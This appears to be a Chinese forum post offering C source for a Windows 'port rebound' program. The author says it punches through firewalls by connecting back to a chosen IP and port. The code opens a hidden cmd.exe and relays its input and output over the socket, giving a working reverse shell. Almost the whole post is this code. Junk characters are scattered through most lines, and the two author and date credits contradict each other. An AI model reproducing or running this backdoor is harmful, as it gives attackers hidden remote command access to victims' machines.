Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Kk-S}.E  
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/* ============================== @W[f1  
Rebound port in Windows NT ,>0*@2
 
By wind,2006/7 eQp4|rf  
===============================*/ KmA;HiH%J  
#include $+Z)  
#include 0c<.iM  
d\R,Q  
#pragma comment(lib,"wsock32.lib") .ZVUd84B  

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void OutputShell(); ~&7MkkftM  
SOCKET sClient; "J[K 3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a!"$~y$*  
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void main(int argc,char **argv) 6i.-6></  
{ ]v]qChZHd  
WSADATA stWsaData; oPXkYW  
int nRet; CsoiyY -2  
SOCKADDR_IN stSaiClient,stSaiServer; i*Sqda $  
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if(argc != 3) b`~p.c%(  
{ w&o&jAb-M  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7!EBH(,z  
return; ~M7y*'oY  
} =F]FP5V  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,y 2$cO_>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *KV0%)}sbL  
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stSaiClient.sin_family = AF_INET; p~BRh  
stSaiClient.sin_port = htons(0); ,!Z
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); DRp~jW(\y  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2.l Z:VLN  
{ qB0E_y)a  
printf("Bind Socket Failed!\n");
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return; d4>Z8FF|1B  
} Ay5i+)MD  
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stSaiServer.sin_family = AF_INET; ER5gmmVP@p  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !Wy6/F@Z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |:xYE{*)H  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $Q96,rb}k;  
{ HkUWehVm  
printf("Connect Error!"); c#Sa]n  
return; q_g+Jf P-D  
} )4gJd? 8R  
OutputShell(); 6@{(;~r  
} LcSX*M
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void OutputShell() A+"ia1p,}  
{ bm?sbE  
char szBuff[1024]; T>x&T9  
SECURITY_ATTRIBUTES stSecurityAttributes; K;>9ZZtl  
OSVERSIONINFO stOsversionInfo; Jq&uF*!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; i|w81p^o  
STARTUPINFO stStartupInfo; (e!0]Io@  
char *szShell; }Qip&IN  
PROCESS_INFORMATION stProcessInformation; wsIW |@  
unsigned long lBytesRead; wVicyiY]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z(_Ss@ $  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P@$/P99  
stSecurityAttributes.lpSecurityDescriptor = 0; G-xDN59K  
stSecurityAttributes.bInheritHandle = TRUE; P"y`A}Bx  
/ ';0H_  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zR1^I~ %  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @z4*.S&tz  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Pe3@d|-,MU  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XC0bI,Fu,  
stStartupInfo.wShowWindow = SW_HIDE; 'IZI:V"  
stStartupInfo.hStdInput = hReadPipe; B$ajK`x&I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %Y<|;0v  
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GetVersionEx(&stOsversionInfo); i'H/ZwU  
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switch(stOsversionInfo.dwPlatformId) ryW'Z{+r'  
{ Hv so
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case 1: &]e'KdXF  
szShell = "command.com"; s2'yY(u/  
break; `k[-M2[  
default: Szq/hv=Q  
szShell = "cmd.exe"; v 1z  
break; \K@'Z  
} )6,de2Pb  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kzn5M&f>  
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send(sClient,szMsg,77,0); /^X/8  
while(1) y#Fv+`YDl  
{ Xu<k3oD7  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b$ve sJ  
if(lBytesRead) kbTm^y"  
{ 1|kvPo#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;1`fC@rI  
send(sClient,szBuff,lBytesRead,0); sYe?M,  
} R< ,`[*Z  
else "= 6_V?&w  
{ :3XA!o&.T3  
lBytesRead=recv(sClient,szBuff,1024,0); K`iv c N"  
if(lBytesRead<=0) break; Q1O}ly}JS  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MBt9SXM  
} NO|KVZ~  
} F~%]6^$w  
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return; )PG6gZYW  
}